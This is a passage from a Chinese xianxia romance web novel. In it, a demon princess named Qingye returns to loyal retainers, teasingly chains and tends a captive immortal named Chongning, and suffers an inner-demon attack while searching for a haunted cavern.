洄夜身为鬼修,身躯如同牵引风舟的四匹黑马般微微透明,脚尖不沾地。他的面容是不同于活人的白皙,身形瘦削,眼中闪烁着一抹幽绿的光芒。 他上前几步,脸上的肌肉因激动而颤抖着:“殿下,属下终于再次见到您了。” 洄夜指向身后的人群与殿宇,为青叶介绍道:“他们便是魔尊大人曾在此地驻守的一批魔将魔卫。他们还秘密建造了结界和几座宫室。委屈殿下暂居。” 洄夜带着一行人单膝跪地,恭敬地开口:“恭迎玉菡公主殿下!” 玉菡公主。 时隔半年之久,青叶再次听到自己真正的名讳。 那是魔尊为他的。 可,她如今已有了自己的名字。 她离开魔界时,正逢,见湖边柳叶青青,叶片在阳光下簌簌摆动,因微风吹拂而离开枝头,逐风而行,掠过水波粼粼。 像她期盼已久的自由。 自那时起,玉菡公主消失在魔宫的火海中,青叶成了她崭新的名字。 ——她为自己而起的名字。 过往记忆在脑海间飞速流淌而过,青叶收回思绪,抬手施法,将所有人拉起,让他们不必行礼,“我早已不是公主殿下,不必多礼了。” “一切从简即可。”她环顾四周,风雨渐歇的荒原上,微风吹起她额角发丝。 “只不过,我带回了一个仙界俘虏,你们可要好好厚待。” 洄夜顿了顿,问道:“殿下要如何安排?” “找一个离我最近的宫室,设下禁令,看紧点别让他跑了。”青叶说。 “另外,找人给他治伤。要用医术最好的魔。” * 夜晚降临,银月如钩。 界外之地上空弥漫的雾气愈发浓重,将宫殿所在的结界掩盖得如同一座鬼城。 然而“鬼城”之中,一方宫殿却灯火通明,如一只星辰点缀在沉沉浓雾间。 绮华殿中,为迎接青叶归来,洄夜大摆宴席。 驻留此地的众魔卫们皆是魔尊心腹,即使魔宫覆灭后,也不曾从此地离开,仍心心念念等待青叶与洄夜的到来。 如今公主殿下归位,众人纷纷上前,恭敬地同青叶敬酒。 青叶知道自己不胜酒力,但为回应这些魔卫的心意,仍是喝了一些。 宴席之后,众魔散去。 此时,大殿内只剩青叶与洄夜,还有一位身披黑色战甲的魔将。 在洄夜的示意下,这魔将缓缓上前,目光锋利,却极为虔诚地向青叶行礼。 “属下善镇,拜见公主殿下。” 洄夜向青叶介绍道:“殿下,魔将善镇在数年前被魔尊大人派来此地,统领这一队魔卫。” 青叶微微抬眼,望向他。 这魔将修为不凡,但在她面前却并未逸散出一丝强大的气场,恭谨地向她拜见。 “不必多礼。起来说话吧。”青叶道。 “是。”善镇神情肃穆,开口,“想必殿下已经知晓,魔尊大人几年前曾以您的血脉为引,融入命灯之中,寻找夫人的魂魄。最终发现此地的感应最为强烈。” 青叶敛眸听着。她清楚,母亲的命灯应该早已被慕沧澜转移,否则肯定会在魔宫覆灭时被叛军发现。 正是因那盏命灯的存在,象征着母亲的魂魄不灭,支撑慕沧澜苦苦追寻这么多年。 善镇右手抬起,手心缓缓现出一盏精巧古朴的命灯,将其双手奉给青叶。 命灯泛着青色的幽光,光芒微弱,灯身冰冷,但青叶触碰到的那一瞬,却感应到一股强大的力量在她身体中涌现。 也许是母亲和她的链接。 青叶心头一瞬间温软下来,她轻抚着命灯,听一旁善镇继续道:“如殿下所见,魔尊大人确定夫人的魂魄就在此地后,便指派属下带了一批人马秘密驻扎此地。这件事除了魔尊和我们以外,无人知晓。” “直到半年前,魔将虞九幽揭竿而起,掀动魔界内乱……”善镇低眸叹息一声,“魔尊大人死前向界外之地传来讯息,让我们等待殿下与洄夜大人的到来,继续我们的使命。” 青叶点头,沉吟片刻,问道:“你们在此地的几年,可有发现什么线索?” 善镇有些惭愧地摇头:“除了魂灯的感应,我们并未发现任何直接的线索。界外之地无尽的山脉阻挡了寻找的步伐,这几年来,我们也只找遍了三分之一的地界而已。” “界外之地地形诡异至极,到后来,派去进一步寻找的魔卫们都没能回来。我见情况不对,又收到魔界内乱的消息,只好暂停寻找。” 善镇倏然跪下,道:“如今,终于等来了公主殿下和洄夜大人!” 青叶又问他:“你们一直在此寻找我的母亲,魔界内乱之时,没想过回去阻挡叛军吗?” 善镇说,当初魔尊派他们来此地,只交代了一个任务,就是找到夫人,为其引魂,使夫人魂魄投胎转世。 其余事情,一概不管。 善镇说完有些犹豫,以为青叶会降罪:“殿下可是觉得我们做得不对?” “不。”青叶在上座徘徊,轻笑一声,“你们恰恰做的是正确的。” 若当时回去支援,恐怕连这队人马也要被叛军绞杀。 现在魔界大乱,仙界也不平静,青叶自认为没有什么一统天下的荒谬野心。 她虽和父亲没有感情,此刻要做的事情却与他相同。 她只想找到母亲。 青叶缓缓开口,问善镇:“你们可听说过界外之地的万魂窟?” 后者点点头,又摇摇头:“只隐约听说过,似乎和一上古邪祟有关,只不过那都是万年前的事了。” 青叶缓缓道:“我在仙界得知了一个消息,让母亲魂魄存续的是一血契骨符,而这血契骨符封印的,是上古邪祟烛阴烬。” “万年前,烛阴烬就是被封印在界外之地万魂窟中。” “万魂窟,顾名思义,是魂魄聚集之处,怨气鬼气颇盛。相传千年前众多修士血祭,封印烛阴烬,他们的魂魄也停留在封印之地。那骨符定是将母亲的魂魄也当做其中之一,将她传送至此地,阴差阳错,同时让她的魂魄存续了下去。” “原来如此。”善镇沉思道,“只是要如何寻找万魂窟?” 青叶做下决断:“我与洄夜去往先前魔卫们失踪之地探查,剩下的人继续搜寻其他地界,若遇危险,不可莽撞,立即返回。” 善镇面露担忧之色,跪下阻拦道:“殿下不可,若殿下遇险……” 青叶摇头,将他扶起:“我既来了此地,就是要来犯险的。” “你还唤我一声殿下,我就要承担起自己的责任。” 一番交谈之后,善镇终是接受了青叶的决定,缓缓退下。 殿中重又恢复了静谧,洄夜看着青叶,问道:“殿下已做好决定了?” 青叶点点头。她想,既然当初数名魔卫曾失踪,那方地界一定有什么古怪。 “你愿意同我去吗?”她问洄夜,“若觉得危险,我便一人去也罢。” 洄夜默然地低下头,一字一句道:“为殿下赴汤蹈火,在所不辞。” 青叶笑了笑,目光掠过她忠诚的属下。 离开焚月塔后,洄夜是她身边唯一可用之人。他被慕沧澜施加了魂契和她绑定在一起,成为她名义上的属下,实际上的奴隶。 本是十分屈辱的方式,但他却意外地顺服。 青叶曾以为那是洄夜对魔尊的忠诚,而非对她的。 但如今看来似乎并非如此。 她不知道自己在进入焚月塔之前和洄夜有过什么交集,她已尽数忘却了。洄夜从未告诉过她,青叶也没有好奇心。 除了与母亲那一点微弱的联系之外,她对自己从前在魔界失去的记忆没有任何的探索欲。 青叶本就痛恨魔宫的一切,当然更不愿得知自己幼年是如何如何的可怜悲惨。 因而她也不去深究洄夜的忠诚从何而来,只要他愿意为她所用。 青叶说:“我不会亏待你。” 洄夜慢慢抬起了头,眼中似有期待。 “待这件事办成,我会解除和你的魂契。” “到那时,你就自由了。” 这件事青叶已经想了许久。洄夜身为鬼修,本不该被人如妖兽般驱使。 青叶也不喜欢和另一方有如此深的绑定关系。 并且,她要让洄夜自由,还因为要让自己摆脱身体里来自慕沧澜的最后一点痕迹。 这点痕迹就已经让她厌恶万分。 洄夜闻言,却垂下了眸,方才的目光暗淡了下来。 “到那时再说吧,殿下。”他神色不明,低声道。 青叶微微颔首,转身走向殿外。 秋末的夜风如刀,荒野之中更是寒气逼人。天际的月亮高悬,银白色的光辉却被暗沉沉的雾气遮蔽了大半。 这片荒原之上,连声息都没有多少,大地都陷于一片沉默之中。不远处高山连绵起伏,身处此地,如同被无尽的山脉锁在笼内。 青叶深吸一口冰冷的空气,手中抱着散发微弱光芒的命灯,望向那雾气之中的朦胧月光,不禁想起在沉星海幻境中见到过的母亲。 那时,女人只短暂地在她身前停留片刻,很快便在月光下消散不见。 青叶甚至没能和她有一个拥抱。 可她的面容却从此留在了青叶脑中。 见过了真实的温情的面孔,便无法再忍受脑中虚幻的记忆碎片。 青叶很想再见她一面。 她闭了闭眼,思绪蔓延,不由得又想到那日在沉星海中,母亲的身影逐渐模糊后,取而代之的是…… 重宁。 圣子大人的身影,在她脑海中再次浮现。 青叶的眉目间,一瞬间流露出复杂的情感。 洄夜跟在她身后,不发一言,目光如炬,紧紧盯着她的背影。见她走缓缓向外走,他轻声道:“殿下,天色已晚,属下还是送您回寝殿吧。” 青叶点点头,忽而又发问:“我带回来的仙人如何了?” 洄夜稍作迟疑,说道,“您带回来的俘虏已住进您的偏殿。” “属下派了魔医为他诊治,只是……”他话锋一转,欲言又止。 青叶问:“只是什么?” “他似乎不肯喝药,要见您。”洄夜的语气有些为难。他站在原地,等待她的指令。 “要见我?”青叶挑了挑眉,“好,那我便去看看他。” 洄夜未再多言,为青叶引路。 青叶入住之处名为暮水殿,宫殿虽建得精致古雅,但可以看出许久未修缮,殿门外的庭院内生了不少杂草,还有一棵已枯死的树。 偏殿与青叶所住的主殿只隔一扇雕花木门,门上雕刻着栩栩如生的白鹤,振翅欲飞,却仿佛被周遭繁复的草木花纹困在了木门之中。 她走进偏殿时,见重宁正斜倚在床榻上,眉头紧锁,眼眸微阖,额上冷汗如珠滴落,衣衫上染了大片鲜红的血迹,在白衣上蔓延开来。 青叶上前,皱眉问道:“怎么回事?” 一旁站着的魔卫端着一碗药,朝她和洄夜禀报:“参见公主殿下。洄夜大人,按照您的吩咐,这仙人不肯吃药,我已教训了他一顿。” 青叶看向洄夜,声线冷了下来:“你就是如此对待我的贵客的?” 洄夜忙跪下,低头认错:“是……是属下误解了殿下的意思。” 青叶无奈,轻轻叹了口气,知道是自己当时说“厚待”,让洄夜误以为是反话。 毕竟在魔界,若要“厚待”一个人,恐怕便是让他生不如死。 “你们都先下去吧。”她挥挥手让洄夜和魔卫都退下。 洄夜听命离去,却在离去前,目光不善地看了一眼床上的那仙人。 仙人重宁正是一副虚弱模样,而青叶则按住他胸前伤口,要亲自施展魔气为他疗伤。 青叶医术不精,手段又粗暴,虽凝神聚力,医治的过程也要让伤者吃点苦头。 重宁不禁忍痛蹙眉。 “行了,还要装吗?”青叶盯着他,低声开口。 重宁缓缓睁开眼,看起来的确没有方才那么虚弱。 只是那痛倒不似作假。 青叶终是不忍,放轻了手上动作。 “那魔卫攻击你,你不会还手吗?”青叶早已知道他是故意受罪的。只是即使如此,她也不能让手下人真的对他动手。 “你先前在风舟上施展的灵力是突然消失了吗?” 重宁轻笑,“若非如此,怎能让公主殿下来见我?” 青叶微微皱眉,“你不许也这么叫我。” “当日在玉京海,你说你是一介凡人孤女……”重宁淡淡道,“都是骗我的。” “倒也没有骗你。”青叶手上动作不停,若无其事地道,“我那时失了魔丹,又父母双亡,怎么不是凡人孤女?” 她声线平淡,说起自己身世时轻描淡写,重宁却不禁神色微凝,沉默下来。 青叶注意到他的神情,捏住他的下颌,冷冰冰地说:“不许心疼我。” 重宁一双清潭似的双眸此刻映出她的脸孔。 他的目光在青叶眉宇间停留,叹息一声,“如今我不过是殿下的阶下囚。” “自然是殿下不许我做什么,我便不做什么。” 他这话看似服从,又像是在纵容她。 青叶听了,一时有些生气,但不是特别生气,只是有点小小的恼火。 她想着要惩罚他。可看来看去,他已经一身惨状,全是为了她受的伤。 最后,她用魔气幻化出一副枷锁,将圣子大人锁在了床榻之上。 青叶抬起重宁的脸,恶狠狠地道:“既然是阶下囚,就要有阶下囚的样子。” 作者有话说:女鹅:大玩特玩考斯普雷(?) 第18章 重宁的双手被幻化出的锁链缚住, 锁链的另一端紧紧绑在床头。 “你……”重宁的下颌被迫抬起,他低声开口,清润的嗓音此刻却被压迫得发紧。 青叶眼瞧着身下的男人, 看他眼下泛起微微的红晕,原本温润如玉的面容, 此刻却在被束缚之下显得愈发惑人。 她身为魔修的本性渐渐暴露,心头不禁泛起那么点恶劣的快意。 从前在仙界, 未恢复魔丹之时,她始终对重宁留有一丝惧意和警惕, 大概是魔修的本能。 而此刻, 高高在上的仙界之首,无垢宗的圣子大人,被她锁在床榻之上, 动弹不得。 那如玉的仙人定定望着她,一双眸渐渐变得深沉, 呼吸因克制而染上几分急促:“殿下这是……想要羞辱我么?” 青叶轻笑一声, 没有回答,抬手却端起了一旁被魔卫放下的药碗,送至他唇边。 “你不是见不到我便不想喝药么?” “现在我喂你, 如何呢?” 重宁微抿着唇, 面上露出些许令青叶心神愉悦的羞恼之意。 好似她在玷污一块纯白的玉。 说到底,他虽身居高位, 以仙界的年岁来看,也不过是一位年轻的仙人罢了。 重宁的手臂因锁链的束缚而抬起, 衣袖滑落,青叶的目光缓缓上移,便见他修长柔韧的小臂上, 有一点刺目的朱砂红。 “这……代表着什么?” 青叶伸手轻抚过他白皙的手臂,感受到身下人细微的轻颤。 “难道是——圣子大人的……处子之身?” 她狡黠地俯下身去,在重宁耳边轻声耳语。 混着冷香的温热气息洒至耳畔,仙人抵抗不能,只得阖上双目。 魔女……魔女…… 重宁心中暗道。 她现在不过将他当做新奇的玩物……不能动念……不能被蛊惑。 青叶瞧了他半天,见重宁不过一昧地避开她的视线,没有半分反应,不禁觉得有些无趣。 “药还喝不喝了?”她问。 重宁不愿以这样屈辱的方式喝药,偏过了脸去。 青叶见他恼怒之下,原本泛白的双唇也有了些血色,心里不禁起了一个念头。 几瞬之后,重宁的唇边传来湿漉温润的触感。 魔女口含了药汤,吻上了他的唇。 重宁尚未反应过来时,身前女子便已撬开了他的唇齿,苦涩的药汤他口中缓缓蔓延。 舌尖却仿佛并未尝到那清苦味道,他鼻尖唇边沾染上的全是青叶的气息,暗夜幽兰般的,蛊惑人心的气息。 青叶没用先前方舟上逼他喝药的法子,而是钳制着他的下颌,强行喂他喝完了这一碗药。 药汤尽时,青叶才松开了手,从他身前离开。 而身下仙人哪还有原本那仙风道骨,清冷如玉的模样,重宁的后脑砸在枕上,衣襟在二人的交锋之下皱皱巴巴,沾染了暗褐色的药汤。 他终于睁开了双眸,眼角却泛上红晕,目光死死地盯着青叶。 仿佛她从他身上拿走了什么重要的东西,又将他无情地弃下。 “好了。”青叶愉悦地笑了起来,眉眼弯弯,活像一只可恨的小狐狸。 她用法术除去重宁身上的脏污,大发慈悲地将原本锁在床头的锁链延长,长至重宁刚好可以在这屋内活动的范围。 “圣子大人,好好歇息吧。”- 第二日,清晨。 青叶睡了个好觉,踏着熹微日光离开暮水殿,去往昨夜设宴的绮华殿。 洄夜早已候在殿中,见她进来,躬身行礼: “殿下,据魔卫观测,三日内必有大雨,若要寻万魂窟,今日是个好时机。” 青叶坐在魔卫们用玄铁为她打造的宝座上,指尖转着一枚墨色圆环。 那墨环与她昨日缚住重宁的锁链倒是如出一辙,泛着冷冽的光。 “既如此,便依你所言。”青叶道,“我们今日便出发,先沿着之前魔卫们失踪的路线探寻,若遇异常,立刻回程。” 洄夜领命,却迟迟未退,目光落在青叶在空中摆弄的白皙指尖,低声问道:“殿下,您带回来的那仙人……已有魔医找到合适的药,一株百年雪含草,另一株千年紫河车。您要用哪一种药?” “用最好的。” 青叶答得干脆。 “可千年紫河车世间罕见,” 洄夜声音更低了些,带着不易察的劝阻之意,“留着给您应急,岂不是更好?” “不必了。”青叶轻笑了一声,“现在受伤的是他不是我。再说,用掉了这药,说不定我往后便用不上了。” “是。”洄夜只好听从指令,沉默片刻,却又忍不住开口: “殿下,您和这仙人……究竟是什么关系?” 他声色沉沉,声线中仿佛藏着些许隐忍之意。 “问这个做什么?”青叶手中玩弄圆环的动作骤然停下,俯身看向洄夜。 “属下只是…… 担心殿下安危。” 洄夜头垂得更低。 “我的俘虏罢了。”她收回目光,轻描淡写地说。 “此地虽隐蔽,但难保无垢宗找上门来。” “留着他,至少能牵制仙界。” 洄夜闻言,便垂下了眸,不再言语。 青叶收拾了些许随身之物放入芥子袋中,便带着洄夜一同出发。 “南部与东部已搜遍,往西是仙界边界,魔卫不敢靠近,只剩北部未探。” 洄夜指着前方更显阴沉的山群,向青叶禀报,“先前魔将曾派过两批魔卫,一批从山脚进山,一批从空中探查,结果全没了音讯,连尸骨都没找着。” 两次的魔卫都没能回来。善镇便不敢再派人去探,担忧人员折损。 这次,青叶便是要和洄夜一同往北进山。 界外之地中,入目的尽是崇山峻岭,山峦延绵不绝,如同蛰伏的巨兽。连偶尔出现的平坦原野,也被四周的山影裹得严严实实,透着压抑的死寂。 地上的枯草泛着灰败的颜色,踩上去脆得一折就断。青叶望向天空半晌,却连半只飞鸟都看不见。 她和洄夜翻过高耸的山梁,沿着一条仅容一人通过的山道往下走。山道两侧的石壁上残留着深褐色的痕迹,仿佛干涸的血迹。 走到山道尽头,眼前忽然开阔起来,入目之处是一片不大的平坦谷地,中央蜿蜒着一条小溪,不知通向何处。 溪水静得连波纹都没有,只有溪边搭着几件破旧的粗布衣衫,布料虽烂,却洗得干净,在灰败的荒野里显得格外突兀。 青叶来到溪边,抬眼望向溪水尽头,那里竟隐隐飘着一缕淡白色的炊烟,在灰蒙蒙的天色里,像一道虚幻的影子。 “魔卫失踪的标记,就在这附近。” 洄夜站在她身后,警惕地扫视着四周,“可这里…… 倒像是有人居住。” 话音刚落,青叶忽然觉脚踝一凉。身边寂静的水波波澜不惊,然而,一个湿漉漉的触感忽而缠上了她的脚踝—— 青叶心头一惊,只见一只黑色的手从溪水中伸出,仿佛要从水中挣脱,救命稻草一般地拉住了她的脚踝。 丝丝缕缕的黑气从那只手伸出的水面下冒出,泛起诡异的黑色泡沫。 “不好,是怨气化形!”洄夜大惊,立刻出手,一道黑色魔气瞬间发动,直斩那只手。 青叶的周身也霎时间浮现出淡紫色的光芒——那是她的魔气屏障。 那只手像是胆小至极,感受到魔气的威压便急急放开手,却又挣扎着想要求救。 青叶的寒烟立即出动,缠绕住那只手腕,要将它向上拉。 但看似平静的溪水竟蕴含了强大的吸力,那只手又被悄无声息地吞噬进了溪水之中。 寒烟还想再追,却被洄夜拦下。 “殿下!别追!” 洄夜急忙拉住她,目光落在她的脚踝上,“您的脚踝!” 青叶低头一看,脚踝处已缠上一层薄薄的黑气,正顺着衣料往皮肤里渗。 下一秒,她的胸口忽然传来一阵灼热,像是有团火在燃烧,身体内的某种情绪好似被驱动,蔓延而出。 她身躯一晃,很快被洄夜扶住。 “殿下,得罪了。”洄夜迅速跪下,施展术法将那怨气一点点逼出。 那怨气狡诈无比,绕着他们二人旋转了好一会儿,最终还是不敌他们的魔气威压,被碾为齑粉。 恍然间,本还亮着的天色在不知不觉中灰暗了下来,清寂的山谷间仿佛隐藏着什么在蠢蠢欲动。 “这里的怨气太浓,” 青叶扶着洄夜的手臂站稳,冷声道,“万魂窟镇压着烛阴烬,是怨气集聚之地。看来我们找对地方了。” “但现在不能再往前走。”她道。 此时山谷间黑暗阴森,他们再往前些许,那些藏匿于深处的怨气恐怕便会一拥而上。 魔修最忌怨气侵体,稍有不慎便会心魔发作,今日毫无防备,已吃了暗亏。 既已发现了些许线索,现在便不应恋战。 “那我们先撤?” 洄夜问。 “撤。” 青叶点头,刚要迈步,眼前又是一阵发黑。 无数碎片化的幻觉在她眼前疯狂闪过。 “殿下,还能坚持吗?”洄夜神色担忧,用魔气化作一团黑色云雾,将青叶护在其中,迅速往外飞去。 回到暮水殿之时,青叶已有些站立不住。 她并非受了外伤,身上没有疼痛的伤口,可她还是觉得全身灼痛,肌肤下却像燃着一团火,从胸口蔓延至四肢百骸,连指尖都在发烫。 洄夜将她扶到床榻上,恼怒地问魔医:“怎么越来越严重!” 魔医惶恐道:“殿下这是,心魔发作了……” “殿下修为强大,还可抵抗心魔,只是这过程却十分痛苦。”魔医一边翻着药箱一边解释,“我给殿下配几服药,再佐以凝心术压制,能缓解些许。” “好……”洄夜点头,“一定为殿下好好诊治!” 药很快熬好,黑漆漆的药汁冒着热气,泛着苦涩的气息。洄夜端着药碗跪在床前,小心翼翼地想喂她喝。 青叶只抿了一口便不愿喝。 “好苦……”她偏过头,眉头拧成一团,难受道。 “殿下……”洄夜手忙脚乱,努力哄她,“药虽苦,喝了有用。” 青叶闭着眼睛拒绝:“我不要喝!” 洄夜无法,只能将药放一边,让魔医继续用术法医治。 这时,善镇也急匆匆来了,“殿下这是怎么了?” 青叶此刻觉得自己的胸口像要爆炸一般灼热,呼吸都带着的痛感,眼前的殿内景象也开始晃荡,全是心魔引起的碎片场景。 耳畔还不停传来一群人细细碎碎的说话声,让她实在无法忍受。 青叶不耐至极,素手一挥,床边纱帘落下,将全部人挡在外边。 “都出去!”她公主脾气大发作,声音带着压抑的烦躁。 众人面面相觑,只得先听话退下。洄夜走在最后,一步三回头,眼中尽是忧虑之色。 殿内终于安静下来,青叶才稍稍松了口气,可心口的灼痛却没减弱分毫。 魔修,因心魔而生,自会被心魔所困。她身为魔修的后代,没有选择的能力,自出生起,心中出现的欲念与恶念便化作心魔。 自恢复魔丹之后,心魔也随之复生。 魔修中修为高深,擅于平衡之人,能在平日里可以控制得很好。但这次因外界的刺激,却将她的心魔激发出来。 这次怨气勾动的,是她藏在心底最深的执念。对母亲的思念,对过往的迷茫,还有对重宁那说不清道不明的在意。 青叶闭上眼,想强迫自己睡着,可幻境却越来越清晰。 母亲的面孔再次出现在她的脑海中。 青叶执着地想要记住她的脸。 她年少时不可多得的温柔。母亲的温柔。 “娘……” 她喃喃道。 青叶伸出手想要触碰,越往前,人影便越远。 如月影般飘散。 情急之下,她猛地往前探身,“咚” 的一声,却一头栽在了地上。 青叶感觉到自己额头磕在冰凉的金砖上,传来一阵钝痛,可身体却像灌了铅,怎么也起不来。 暮水殿主殿和偏殿只隔一道木门。 重宁手脚被锁链所缚,始终在偏殿的榻上闭目调息。 隔壁殿内持续不断的声响传来他耳边。重宁本可聚集灵力,归心于灵府,轻易屏蔽那些杂乱的声响。 以他的定力,这本是轻而易举之事。 可此时此刻,他无论如何都做不到。 青叶嫌弃苦药,轰走众人的声音清晰地穿过重宁的灵力屏障,传入他耳中。 她在被心魔所困。 他又何尝不是? 众魔散去后,隔壁骤然安静下来,却又听得一声闷响。 沉重的,他听出来,那是她从榻上滚落在地的声音。 重宁终是坐不住了。灵力在指尖凝聚成刀,“咔嗒” 几声,锁链应声而断。 推开门的瞬间,便看见青叶裹着薄毯伏在地上,额角红了一片,脸颊因灼痛泛着不正常的潮红,意识却没能清醒。 重宁看得心中一痛,快步上前,小心翼翼地将她抱起。 青叶的身体滚烫,像一团火,刚触到他冰凉的衣襟,便下意识地攥紧了他的胳膊,另一只手死死揪住他腰间的护身符香囊,整个人都往他怀里缩。 她不想让他走。 重宁周身冰冰凉凉,她抱着他,像是酷暑之下抱着一只大冰块。 女孩下意识的依赖让重宁不禁受用。他自身的灵力还尚未恢复,此刻却全用来让她平息心魔。 青叶仿佛再一次坠入沉星海。母亲的身影消散后,她周身又被熟悉的凝神草气息包裹。 “重宁……”她小小声地唤他,紧紧攥住他腰间香囊。 男人低眉看向青叶,为她轻轻拨开脸侧凌乱的发丝。 她的心魔之中,也有他的存在吗? “小骗子。”重宁的声音很低。 却带着不易察觉的温柔。 青叶就这样蜷缩在男人怀中,慢慢地,混乱的梦境消散,灼热的身体平静下来,她仿佛感觉有人轻拍她的背脊,像哄孩子一样哄她入睡。 青叶的心被妥帖地存放起来,于是她得以安然入眠。 重宁一直陪她到了深夜。 直到见青叶呼吸平稳,沉沉入眠后,才轻轻将她放回枕上,起身回了偏殿。 重宁施展剩余的灵力,将先前被他斩断的锁链重新接上。 接口处严丝合缝,仿佛从未被破坏过。 只是他指尖残留的,属于她的温度,却久久没有散去。 作者有话说:小宁:身为恋爱脑且拥有良好的自我管理意识(?) 第19章 青叶觉得自己睡了很沉很深的一场觉。再醒来时, 那些纷乱的梦和执念好像都离她很远。 她揉了揉眼睛,从床榻上坐起,有些恍惚, 又惊奇地发现自己的身体似乎恢复到一切正常的状态。 可能是恢复魔丹后,体质也变得好多了? 从前做凡人时, 的确有些太过虚弱了,一次反噬都要躺上好几天, 如今心魔发作过,竟能这般快恢复, 以至于青叶一时还没有习惯于现在的好身体。 但仔细回想昨夜的一切, 青叶总觉得自己好像忘了什么。 或者是,忽略了什么。 青叶捉住了她混乱梦境中的一片影子。 重宁。 她昨晚好像又梦见了他。好似真实一般的拥抱与沉星海中的幻境交织在一起,仿佛鼻尖还能嗅到一丝若有若无的清苦气息, 凝神草的味道。 青叶其实知晓,重宁的存在能让她莫名安定…… 可她不愿承认。 也不能承认。 青叶回想了半天, 却只得到了头疼的下场, 最终决定亲自去隔壁偏殿一探究竟。 推开木门,倏然便漏进一道清柔日光。 重宁不似青叶一般喜欢关窗,他的房间永远是窗明几净, 清朗通亮, 连空气中都飘着淡淡的阳光味道。 这人似乎早早便起了,坐在桌边看书。 也不知道那书是哪来的, 大概是找送药的魔卫要的吧。 这偏殿其实朴素至极,只是这尊贵如玉的人坐在这儿, 竟让满室生辉。 若忽略重宁手脚上泛着冷光的锁链,乍一看倒以为他才是这屋室的主人。 这人成了阶下囚也依旧如此体面。 青叶心里莫名有些不忿,走上前, 装作随意地拨了拨他手腕上的锁链。 链环紧扣,好像并无断裂的痕迹,还好好地连在床头上。 昨晚果真只是一场繁杂的梦而已。 “怎么,要检查你的俘虏是否安分?”重宁抬眼,似笑非笑地看着她。 “不可以吗?”青叶索性破罐破摔,仰头回视他。 她目光扫过他手中的书,心里忽然生出几分好奇,想抽过来看看。 可手指刚抬起,又觉得这样主动太过刻意,像在示好,又默默缩了回去。 重宁失笑,他只看青叶一眼,便知她想要什么。 他干脆摊开手,将书递到她面前。 不过是本普通的魔修修炼典籍罢了。 “圣子大人读这书做什么?”青叶接过书,轻哼一声,“难道仙门之首也想修魔不成?” 重宁摇摇头,目光落在她脸上,语气平静:“只是想要了解你。” 青叶:“……” 魔修有什么好了解的?是为了知己知彼才能百战不殆么? 她张了张嘴,竟一时不知该如何接话。 幸好,一阵急促的脚步声打破了她的尴尬。一魔卫匆匆来找她,见她不在寝房,又找来偏殿,看见她和重宁在一起时,不禁愣了愣,但还是行礼道: “殿下身体可好些?属下前来禀报殿下,洄夜大人……似乎也出现了被心魔反噬的症状。” “什么?”青叶脸色一变,忙道,“带我去看看。” 她转身就走,脚步匆忙,将那本典籍随手搁在桌上。 她来得悄无声息,去的也匆忙。 她为了另一人……不,另一鬼走了。 重宁垂眸,一样的日光洒在一样的书页上,他却已无心再看。 * 青叶赶到洄夜的寝殿时,才发觉他的反噬症状比她要严重许多。 洄夜半跪在地上,玄色衣袍被他自己撕扯得破烂不堪,露出的皮肤上满是抓挠的血痕,双目赤红,喉咙里发出一阵嘶吼。 数名魔卫的魔气结成阵法,如绳索般缠在他身上,才堪堪将他压制住。 一位魔卫同青叶道:“是今日早上发现的,洄夜大人将自己关在房内,我们担心出了什么事,只能强行进入,却发现大人正在被心魔反噬。” “殿下别担心,魔医已经在想办法了。” 青叶点点头,抬脚朝洄夜走去。 魔卫想阻拦,担心洄夜失智误伤青叶,可当她渐渐靠近时,原本挣扎得剧烈的洄夜动作竟渐渐缓了下来,赤红的眼底闪过一丝清明。 “殿下!”他本跪伏在地上,见了青叶,却缓缓向她挪动。 洄夜垂着头,如同一只被遗弃许久的恶犬找到了主人,卑微又急切。他伸出颤抖的手,指尖轻轻碰了碰青叶的裙摆,又迅速收回,仿佛怕惊扰了什么。 “殿下,我找您找了很久……” 的声音压得极低,只有凑近的青叶能听见。 “找我?”青叶蹲下身,眉头微蹙,“我一直都在暮水殿,你什么时候找过我?” 她心里忽然闪过一个念头:洄夜的心魔,会不会和她有关? 可自离开焚月塔后,他们虽偶有分开,却从未断过联络,她从未失踪过。 “殿下……”见青叶在他身前停留,洄夜的手指都在颤抖,他轻抚过身前女子的裙摆,又将鼻尖轻轻地蹭了蹭她的鞋,仿佛这样就能确认她的存在。 “终于找到了殿下……”他呢喃着,紧绷的身体彻底放松下来,缓缓闭上了眼。 见洄夜似乎平静了下来,魔卫和魔医立刻上前,将他拉上了床榻,进行诊治。 青叶停留在原地,目光落在洄夜苍白的脸上,若有所思。 洄夜并没有解答她的疑问。 青叶原本并不在乎自己进入焚月塔之前的记忆。她曾经极度厌恶魔界和身边的一切,只想逃离那炼狱般的环境和她的疯子父亲。 直到魔宫覆灭,青叶踏上了为母亲引魂之路。 因为母亲,她第一次想知道自己幼时的人生是什么模样。 青叶想过询问洄夜,可离开魔宫后,他们二人分别逃亡,短暂的联络只是为了交换情报。 再者,青叶一直认为洄夜听命于她的魔尊父亲,直到慕沧澜死后才跟随她。他们之间,不过是主仆情谊。 可现在看来,或许还有她不知道的过往。 但此刻洄夜陷于心魔之中,她就算问也问不出什么。 只能等他清醒了。 “殿下。”身后传来一道沉稳的声音。 是魔将善镇。 “殿下不必担忧,心魔反噬不过偶发状况,魔医经验丰富,定会治好他的。” 青叶点点头。 她看向善镇,忽而问道:“你是前几年才被派来界外之地的?” “是。” 善镇颔首,“此前,属下一直在魔宫任命。” 青叶眼底闪过一丝微光,“那我们从前可曾见过?” “自然。”善镇愣了愣,仿佛陷入了回忆之中,“殿下那时还很小,年少体弱,不能很好地控制欲.念与心魔,让魔宫中人都很是担心。” 两人说着,并肩走到殿外的连廊上。 连廊外的庭院一片荒凉,地面上的石板缝里长满了枯草,几株歪歪扭扭的树木光秃秃的,没有一片叶子。 “魔修天生被心魔缠缚,稍有不慎,便会被反噬。” 善镇顿了顿,又道:“大约两百年前,曾爆发过一场大规模的心魔之乱。那时修界多是凡人与仙修,魔修早已在千年前的大战中销声匿迹。可那场心魔之乱后,不少仙修走火入魔,化身为魔,这才让魔修一族重新壮大。” “与心魔的缠斗,或许是魔修一生的命题。”善镇看向青叶,眼神沉沉,“但若能掌控心魔为自己所用,便能登大道。” “殿下,昨日您刚遭心魔反噬,不必急于寻找万魂窟,事缓则圆,我们已在此地待了多年,不差这几日。” “看这天色,不久后或许有雨,殿下这几日便好好休息,养精蓄锐。” 青叶仰头看向天空,此刻还是灿烂的日光。她心道,真的会有雨吗? 然而,当她回到自己寝殿时,天际竟真的迅速阴沉下来,乌云像被墨染过,密密麻麻地压在头顶,连风都变得冰凉。 界外之地的天,变得可真快啊。 